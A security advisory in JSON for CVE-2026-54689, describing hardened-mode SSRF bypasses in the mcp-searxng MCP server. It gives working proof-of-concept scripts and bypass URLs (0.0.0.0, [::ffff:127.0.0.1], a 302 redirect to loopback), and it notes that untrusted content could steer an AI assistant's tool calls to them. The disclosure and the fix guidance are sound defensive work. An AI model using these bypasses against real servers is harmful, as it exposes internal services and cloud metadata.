CVE-2026-54689: SearXNG MCP Server Additional Hardened-mode SSRF Bypasses Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wppf-h75h-6pm6",
  "modified" : "2026-08-19T19:23:16Z",
  "published" : "2026-08-19T19:23:16Z",
  "aliases" : [ "CVE-2026-54689" ],
  "summary" : "SearXNG MCP Server: Additional hardened-mode SSRF bypasses",
  "details" : "## Summary\n\n`mcp-searxng` has a hardened-mode URL-reading feature intended to prevent `web_url_read` from reaching private or internal network resources.\n\nPR #79 appears to address one SSRF class: hostnames that resolve to private or internal addresses under hardened mode. I tested PR #79 locally and confirmed that it blocks the DNS-resolves-to-loopback case.\n\nHowever, several other hardened-mode SSRF bypasses still appear to remain:\n\n1. Redirects from an allowed first-hop URL to a loopback/internal URL are followed without re-validating the redirect target.\n2. `0.0.0.0` is not treated as an internal/special address.\n3. IPv4-mapped IPv6 literals can bypass private-address checks after URL canonicalization.\n\nWith hardened mode enabled and private URLs not explicitly allowed, `web_url_read` was still able to fetch and return content from a local loopback sentinel service in all three cases.\n\n## Tested configuration\n\n```bash\nMCP_HTTP_HARDEN=true\nMCP_HTTP_ALLOW_PRIVATE_URLS unset\n```\n\nThe MCP server was driven over stdio.\n\nThe test target was a harmless internal sentinel HTTP service bound to:\n\n```text\n127.0.0.1:6789\n```\n\nThe sentinel response contained:\n\n```text\nINTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2\n```\n\n## Relationship to PR #79\n\nI tested PR #79 locally:\n\n- PR: `fix(url-reader): block DNS-rebinding SSRF via socket-level lookup guard (CWE-918) #79`\n- PR commit tested: `e55d28e7be6786a71cd7a0eaf13d3ec9d0b734d4`\n- Base issue class: CWE-918 / SSRF in `web_url_read`\n- Hardened mode: enabled\n\nObserved results:\n\n```text\nCase                                         Result on PR #79\n-------------------------------------------------------------\nDNS hostname resolving to 127.0.0.1          blocked\n0.0.0.0                                      BYPASS\n[::ffff:127.0.0.1]                           BYPASS\nredirect from non-private IP to 127.0.0.1    BYPASS\n```\n\nSo PR #79 is a useful fix, but it does not fully close hardened-mode internal URL access.\n\n## Root cause\n\n### 1. Redirect targets are not re-validated\n\nThe URL policy appears to be applied to the initial URL, but redirect targets are followed by `fetch()` without applying the same policy to each hop.\n\nA non-private attacker-controlled first-hop URL can respond with:\n\n```http\n302 Location: http://127.0.0.1:6789/secret\n```\n\nThe request is then followed to loopback.\n\nThis is independent of DNS rebinding. Even if the initial host is a non-private IP literal, the redirect can still pivot to `127.0.0.1`.\n\n### 2. `0.0.0.0` is not treated as internal\n\n`0.0.0.0` is not currently blocked by the private IPv4 predicate. On Linux, connecting to `0.0.0.0:<port>` can reach a local service bound on loopback or wildcard interfaces.\n\nIn my test, this URL returned the sentinel from the local loopback service:\n\n```text\nhttp://0.0.0.0:6789/secret\n```\n\n### 3. IPv4-mapped IPv6 canonicalization bypass\n\nThe current IPv4-mapped IPv6 handling appears to expect a dotted-decimal tail such as:\n\n```text\n::ffff:127.0.0.1\n```\n\nHowever, Node's WHATWG URL parser canonicalizes:\n\n```js\nnew URL(\"http://[::ffff:127.0.0.1]/\").hostname\n```\n\nto:\n\n```text\n[::ffff:7f00:1]\n```\n\nAs a result, regex logic that expects the dotted-decimal form can miss the private IPv4-mapped address.\n\nIn my test, this URL returned the loopback sentinel:\n\n```text\nhttp://[::ffff:127.0.0.1]:6789/secret\n```\n\n## Impact\n\nThis is a hardened-mode SSRF bypass.\n\nThe sentinel service in the PoC is intentionally local and harmless. It represents an internal-only service reachable from the MCP server host.\n\nIn real deployments, the same class of issue could allow `web_url_read` to reach:\n\n- local admin panels bound to loopback;\n- Redis, Elasticsearch, or other local HTTP-like services;\n- internal HTTP APIs on private networks;\n- service mesh endpoints;\n- cloud metadata endpoints, depending on routing and environment.\n\nThis is especially relevant for MCP deployments because tool calls may be selected by an AI assistant. If untrusted content can influence tool use, it may be able to trigger `web_url_read` with one of these bypass URLs.\n\n## Proof of Concept\n\n### 1. Build the PR #79 branch\n\n```bash\ncd /home/exouser/Desktop\nmkdir -p searxng_pr79_test\ncd searxng_pr79_test\n\ngit clone --depth 1 \\\n  -b fix/cwe918-url-reader-ssrf-4676 \\\n  https://github.com/sebastiondev/mcp-searxng.git pr79\n\ncd pr79\ngit rev-parse HEAD\n\nnpm install --no-audit --no-fund\nnpm run build\n\nls -l dist/index.js\n```\n\nExpected PR commit:\n\n```text\ne55d28e7be6786a71cd7a0eaf13d3ec9d0b734d4\n```\n\n### 2. Start an internal sentinel service\n\nThis service represents an internal-only HTTP service reachable from the MCP server host.\n\n```bash\ncat > /tmp/searxng_sentinel_server.py <<'PY'\n#!/usr/bin/env python3\nimport sys\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nPORT = int(sys.argv[1]) if len(sys.argv) > 1 else 6789\nSENTINEL = b\"INTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2\"\n\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        body = b\"<html><body><h1>internal</h1><p>\" + SENTINEL + b\"</p></body></html>\"\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/html\")\n        self.send_header(\"Content-Length\", str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\n\n    def log_message(self, fmt, *args):\n        sys.stderr.write(\"[sentinel %s] %s\\n\" % (PORT, fmt % args))\n\ndef serve_v4():\n    HTTPServer((\"127.0.0.1\", PORT), H).serve_forever()\n\ndef serve_v6():\n    try:\n        import socket\n        class HTTPServerV6(HTTPServer):\n            address_family = socket.AF_INET6\n        HTTPServerV6((\"::1\", PORT), H).serve_forever()\n    except Exception as e:\n        sys.stderr.write(f\"[sentinel] IPv6 listener failed: {e}\\n\")\n\nthreading.Thread(target=serve_v4, daemon=True).start()\nserve_v6()\nPY\n\nfuser -k 6789/tcp 6790/tcp 2>/dev/null || true\nnohup python3 /tmp/searxng_sentinel_server.py 6789 >/tmp/searxng_sentinel.log 2>&1 &\nsleep 1\n\ncurl -sS http://127.0.0.1:6789/secret\n```\n\nExpected output contains:\n\n```text\nINTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2\n```\n\n### 3. PoC A: `0.0.0.0`\n\n```bash\ncat > /tmp/poc_0_0_0_0.py <<'PY'\n#!/usr/bin/env python3\nimport json\nimport os\nimport subprocess\nimport time\nimport sys\nfrom pathlib import Path\n\nREPO = Path(\"/home/exouser/Desktop/searxng_pr79_test/pr79\")\nSERVER = REPO / \"dist\" / \"index.js\"\nSENTINEL = \"INTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2\"\n\nENV = {\n    \"MCP_HTTP_HARDEN\": \"true\",\n    \"MCP_HTTP_AUTH_TOKEN\": \"poc-token\",\n    \"MCP_HTTP_ALLOWED_ORIGINS\": \"http://localhost:9999\",\n}\n\ndef send(p, o):\n    p.stdin.write((json.dumps(o) + \"\\n\").encode())\n    p.stdin.flush()\n\ndef recv(p, want_id, timeout=20):\n    end = time.time() + timeout\n    while time.time() < end:\n        line = p.stdout.readline()\n        if not line:\n            time.sleep(0.05)\n            continue\n        try:\n            m = json.loads(line.decode())\n        except Exception:\n            continue\n        if m.get(\"id\") == want_id:\n            return m\n    raise TimeoutError()\n\ndef main():\n    url = \"http://0.0.0.0:6789/secret\"\n    print(f\"[poc] hardened-mode read_url url = {url!r}\")\n\n    p = subprocess.Popen(\n        [\"node\", str(SERVER)],\n        stdin=subprocess.PIPE,\n        stdout=subprocess.PIPE,\n        stderr=subprocess.PIPE,\n        cwd=str(REPO),\n        env={**os.environ, **ENV},\n    )\n\n    try:\n        send(p, {\n            \"jsonrpc\": \"2.0\",\n            \"id\": 1,\n            \"method\": \"initialize\",\n            \"params\": {\n                \"protocolVersion\": \"2024-11-05\",\n                \"capabilities\": {},\n                \"clientInfo\": {\"name\": \"poc\", \"version\": \"0\"}\n            }\n        })\n        recv(p, 1)\n\n        send(p, {\n            \"jsonrpc\": \"2.0\",\n            \"method\": \"notifications/initialized\",\n            \"params\": {}\n        })\n\n        send(p, {\n            \"jsonrpc\": \"2.0\",\n            \"id\": 2,\n            \"method\": \"tools/call\",\n            \"params\": {\n                \"name\": \"web_url_read\",\n                \"arguments\": {\n                    \"url\": url,\n                    \"maxLength\": 400\n                }\n            }\n        })\n\n        r = recv(p, 2)\n    finally:\n        try:\n            p.terminate()\n            p.wait(timeout=3)\n        except Exception:\n            p.kill()\n\n    text = json.dumps(r).replace(\"\\\\\\\\_\", \"_\").replace(\"\\\\_\", \"_\")\n    if SENTINEL in text:\n        print(\"[poc] RESULT: BYPASS — sentinel returned\")\n        try:\n            print(\"[poc] tool returned:\", repr(r[\"result\"][\"content\"][0][\"text\"][:200]))\n        except Exception:\n            pass\n        sys.exit(0)\n\n    print(\"[poc] RESULT: blocked / failed\")\n    print(json.dumps(r)[:500])\n    sys.exit(1)\n\nif __name__ == \"__main__\":\n    main()\nPY\n\npython3 /tmp/poc_0_0_0_0.py\n```\n\nObserved:\n\n```text\n[poc] hardened-mode read_url url = 'http://0.0.0.0:6789/secret'\n[poc] RESULT: BYPASS — sentinel returned\n```\n\n### 4. PoC B: IPv4-mapped IPv6\n\n```bash\nsed 's|http://0.0.0.0:6789/secret|http://[::ffff:127.0.0.1]:6789/secret|' \\\n  /tmp/poc_0_0_0_0.py > /tmp/poc_ipv4_mapped_ipv6.py\n\npython3 /tmp/poc_ipv4_mapped_ipv6.py\n```\n\nObserved:\n\n```text\n[poc] hardened-mode read_url url = 'http://[::ffff:127.0.0.1]:6789/secret'\n[poc] RESULT: BYPASS — sentinel returned\n```\n\n### 5. PoC C: redirect from a non-private first-hop address to loopback\n\nThis uses `198.51.100.1` as a safe local stand-in for a non-private attacker-controlled first-hop address.\n\n```bash\nsudo ip addr add 198.51.100.1/32 dev lo\n\ncat > /tmp/redirector_public.py <<'PY'\n#!/usr/bin/env python3\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(302)\n        self.send_header(\"Location\", \"http://127.0.0.1:6789/secret\")\n        self.send_header(\"Content-Length\", \"0\")\n        self.end_headers()\n\n    def log_message(self, *args, **kwargs):\n        pass\n\nHTTPServer((\"198.51.100.1\", 6790), H).serve_forever()\nPY\n\nfuser -k 6790/tcp 2>/dev/null || true\nnohup python3 /tmp/redirector_public.py >/tmp/searxng_redirector_public.log 2>&1 &\nsleep 1\n\ncurl -sSL http://198.51.100.1:6790/jump\n```\n\nThe `curl` sanity check should return the internal sentinel.\n\nNow run the MCP request:\n\n```bash\nsed 's|http://0.0.0.0:6789/secret|http://198.51.100.1:6790/jump|' \\\n  /tmp/poc_0_0_0_0.py > /tmp/poc_redirect_public_to_loopback.py\n\npython3 /tmp/poc_redirect_public_to_loopback.py\n```\n\nObserved:\n\n```text\n[poc] hardened-mode read_url url = 'http://198.51.100.1:6790/jump'\n[poc] RESULT: BYPASS — sentinel returned\n```\n\n### Cleanup\n\n```bash\nfuser -k 6789/tcp 6790/tcp 2>/dev/null || true\nsudo ip addr del 198.51.100.1/32 dev lo 2>/dev/null || true\n```\n\n## Reproduction note\n\n`NodeHtmlMarkdown` escapes `_` to `\\_`, so the sentinel may appear in the MCP response as:\n\n```text\nINTERNAL\\_SECRET\\_DATA\\_\\_mcp\\_searxng\\_ssrf\\_path2\n```\n\nWhen grepping or matching the response, either match against the escaped form or normalize `\\_` back to `_`.\n\n## Expected behavior\n\nWhen hardened mode is enabled and private URLs are not explicitly allowed, `web_url_read` should not be able to fetch loopback or internal resources through:\n\n- direct special-address literals;\n- IPv4-mapped IPv6 literals;\n- redirect chains;\n- hostnames that resolve to private or internal addresses.\n\n## Actual behavior\n\nWith hardened mode enabled, PR #79 blocks the DNS hostname case, but the following still return content from a loopback service:\n\n```text\nhttp://0.0.0.0:6789/secret\nhttp://[::ffff:127.0.0.1]:6789/secret\nhttp://198.51.100.1:6790/jump  -> 302 Location: http://127.0.0.1:6789/secret\n```\n\n## Suggested fix\n\nA complete fix likely needs more than a connect-time DNS lookup guard.\n\nSuggested changes:\n\n- Re-validate every redirect hop. One option is to use `redirect: \"manual\"` and apply the same URL policy to each `Location` before following it.\n- Treat `0.0.0.0/8` and other IANA special-purpose ranges as internal/non-public.\n- Handle IPv4-mapped IPv6 after canonicalization, including forms such as `[::ffff:7f00:1]`.\n- Apply private-address checks to IP literals directly, not only through DNS lookup hooks.\n- Use an IP parsing library or byte-level address checks instead of regex-only IPv6 matching.\n- Add regression tests for:\n  - redirect to `127.0.0.1`;\n  - `0.0.0.0`;\n  - `[::ffff:127.0.0.1]`;\n  - hostname resolving to `127.0.0.1`;\n  - decimal IPv4 normalization remaining blocked.\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "mcp-searxng"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.2.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ihor-sokoliuk/mcp-searxng/security/advisories/GHSA-wppf-h75h-6pm6"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ihor-sokoliuk/mcp-searxng"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.2.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200", "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-19T19:23:16Z",
    "nvd_published_at" : null
  }
}